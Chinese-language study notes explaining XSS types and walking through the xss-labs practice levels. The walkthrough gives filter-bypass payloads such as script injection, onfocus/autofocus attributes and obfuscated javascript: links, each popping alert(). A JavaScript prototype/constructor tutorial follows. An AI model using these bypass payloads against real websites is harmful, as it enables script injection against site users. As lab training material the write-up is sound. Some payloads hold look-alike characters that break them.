xss
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击
xss分类

1.反射性xss 反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[scriptalert(/xss/)/script],点击搜索,即可触发反射型XSS。 注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。
2.存储型xss
存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。
3.DOM的xss
DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。

level1:
看到网页源码里是有个alert函数的,只要触发这个函数就可以到下一关
http://xss-labs-master/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
:1

level2:
观察源码可知,需要实体化,则输入
"><script>alert()</script><"

level3:
' οnfοcus='alert(1)' autofocus='
onfocus 是 HTML 中的事件属性,当元素获得焦点时会触发后面的脚本; autofocus 则是让元素自动获得焦点的属性。 两者结合后,页面加载时元素会因 autofocus 自动聚焦,进而触发 onfocus 中的脚本执行,这是典型的利用 HTML 属性注入脚本的 XSS 攻击模式,可能被用于窃取用户信息、篡改页面内容等恶意行为。

level4:
和第3个一样
' οnfοcus='alert(1)' autofocus='

level5:
"><a href='javascript:alert(123)'>

level6:
"><a hREf=javascript:alert()>下一关</a>

level7:
"><a href=javascript:alert()>下一关</a>
它吧我们的href和script给删掉了,在herf和script前加代替部分用来被删除
"><a hrhrefef=javasscriptcript:alert()>下一关</a>

level8:
这里是有一个链接的我们就把它变成我们的链接就行了
它在我们script的中间加了个_ ,那我们就把r和i换成编码
javascri pt:alert()

level9:
我们这里添加了JavaScrip:alert(),他显示我们不合法,就是链接不规范。
加了_,还是上面的方法,换成编码,因为要有http://,只有它失效才能执行JavaScript:alert()的弹窗效果,但是不能删了他,要利用它过掉过滤。我们这里用/* */把他注释掉
javascri pt:alert() /* http:// */

level10:
<a href=javascript:alert()>下一关</a>
试完后发现:
<input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden">
修改t_sort的type为text
?t_sort=" οnfοcus="alert()" autofocus="" type="text

xss.PwnFunction
准备访问xss.pwnfunction.com时发现访问不了,开vpn也不行 这是原作者的项目地址 https://github.com/PwnFunction/xss.pwnfunction.com?tab=readme-ov-file
然后可以将他部署在ubantu上
我的是ubantu24.04
直接用proxy代理把项目拉下来
proxychains git clone https://github.com/PwnFunction/xss.pwnfunction.com.git
进入吗命令行,先下载hugo服务
apt install hugo
进入hugo目录
cd xss.pwnfunction.com-main/hugo··
将可以访问的ip改掉,这里0.0.0.0 指的是所有ip都可以访问
hugo server --bind 0.0.0.0 --baseURL http://192.168.160.130/
然后就可以在我们的浏览器上访问了
http://<ubantu的ip>:1313
prototype 属性的作用
JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。
下面,先看怎么为对象指定原型。JavaScript 规定,每个函数都有一个prototype
属性,指向一个对象。
function f() {} typeof f.prototype // "object"
上面代码中,函数f
默认具有prototype
属性,指向一个对象。
对于普通函数来说,该属性基本无用。但是,对于构造函数来说,生成实例的时候,该属性会自动成为实例对象的原型。
构造函数的一个方法,或者一个属性 function Animal(name) { this.name = name; } Animal.prototype.color = 'white'; var cat1 = new Animal('大毛'); var cat2 = new Animal('二毛'); cat1.color // 'white' cat2.color // 'white'
上面代码中,构造函数Animal
的prototype
属性,就是实例对象cat1
和cat2
的原型对象。 原型对象上添加一个color
属性,结果,实例对象都共享了该属性。
原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。
Animal.prototype.color = 'yellow'; cat1.color // "yellow" cat2.color // "yellow"
上面代码中,原型对象的color
属性的值变为yellow
,两个实例对象的color
属性立刻跟着变了。这是因为实例对象其实没有color
属性,都是读取原型对象的color
属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。
如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。
cat1.color = 'black'; cat1.color // 'black' cat2.color // 'yellow' Animal.prototype.color // 'yellow';
上面代码中,实例对象cat1
的color
属性改为black
,就使得它不再去原型对象读取color
属性,后者的值依然为yellow
总结一下,原型对象的作用,就是定义所有实例对象共享的属性和方法。这也是它被称为原型对象的原因,而实例对象可以视作从原型对象衍生出来的子对象。
Animal.prototype.walk = function () { console.log(this.name + ' is walking'); };
上面代码中,Animal.prototype
对象上面定义了一个walk
方法,这个方法将可以在所有Animal
实例对象上面调用。
constructor 属性
prototype
对象有一个constructor
属性,默认指向prototype
对象所在的构造函数。
function P() {} P.prototype.constructor === P // true
由于constructor
属性定义在prototype
对象上面,意味着可以被所有实例对象继承。
function P大() {} var p小 = new P大(); //应该有这个属性吗 p小.constructor === P大 // true p小.constructor === P大.prototype.constructor // true p小.hasOwnProperty('constructor') // false
上面代码中,p
是构造函数P
的实例对象,但是p
自身没有constructor
属性,该属性其实是读取原型链上面的P.prototype.constructor
属性。
constructor
属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。
function F() {}; var f = new F(); f.constructor === F // true f.constructor === RegExp // false
上面代码中,constructor
属性确定了实例对象f
的构造函数是F
,而不是RegExp
。
另一方面,有了constructor
属性,就可以从一个实例对象新建另一个实例。
function Constr() {} var x = new Constr(); var y = new x.constructor(); y instanceof Constr // true
上面代码中,x
是构造函数Constr
的实例,可以从x.constructor
间接调用构造函数。这使得在实例方法中,调用自身的构造函数成为可能。
Constr.prototype.createCopy = function () { return new this.constructor(); };
上面代码中,createCopy
方法调用构造函数,新建另一个实例。
constructor
属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor
属性,防止引用的时候出错。
function Person(name) { this.name = name; } Person.prototype.constructor === Person // true Person.prototype = { method: function () {} }; Person.prototype.constructor === Person // false Person.prototype.constructor === Object // true
上面代码中,构造函数Person
的原型对象改掉了,但是没有修改constructor
属性,导致这个属性不再指向Person
。由于Person
的新原型是一个普通对象,而普通对象的constructor
属性指向Object
构造函数,导致Person.prototype.constructor
变成了Object
。
所以,修改原型对象时,一般要同时修改constructor
属性的指向。
// 坏的写法 C.prototype = { method1: function (...) { ... }, // ... }; // 好的写法 C.prototype = { constructor: C, method1: function (...) { ... }, // ... }; // 更好的写法 C.prototype.method1 = function (...) { ... };
上面代码中,要么将constructor
属性重新指向原来的构造函数,要么只在原型对象上添加方法,这样可以保证instanceof
运算符不会失真。
如果不能确定constructor
属性是什么函数,还有一个办法:通过name
属性,从实例得到构造函数的名称。
function Foo() {} var f = new Foo(); f.constructor.name // "Foo"